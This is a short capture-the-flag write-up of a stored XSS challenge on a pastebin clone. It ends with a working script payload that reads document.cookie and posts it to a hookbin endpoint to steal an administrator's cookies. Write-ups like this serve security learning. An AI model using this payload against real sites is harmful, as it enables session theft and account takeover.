This challenge is a simple XSS exploit. The website that's vulnerable issupposed to be a clone of pastebin. I can enter any text into the paste area,and it will get inserted as HTML code into the website when someone visits thegenerated link.
The challenge has two sites: one with the pastebin clone, and one that visitsany pastebin url as the website administrator. The goal of this challenge isgiven by it's description:
> Ah, the classic pastebin. Can you get the admin's cookies?
In JS, you can read all cookies without the `HttpOnly` attribute by reading`document.cookie`. This allows us to read the cookies from the admin's browser,but now we have to figure out a way to get them sent back to us.
Luckily, there's a free service called [hookbin](https://hookbin.com/) thatgives you an http endpoint to send anything to, and look at the requestdetails.
Combining these two a simple paste can be created:
```html<script>	var post = new XMLHttpRequest();	post.open("post", "https://hookb.in/<endpoint url>");	post.send(document.cookie);</script>```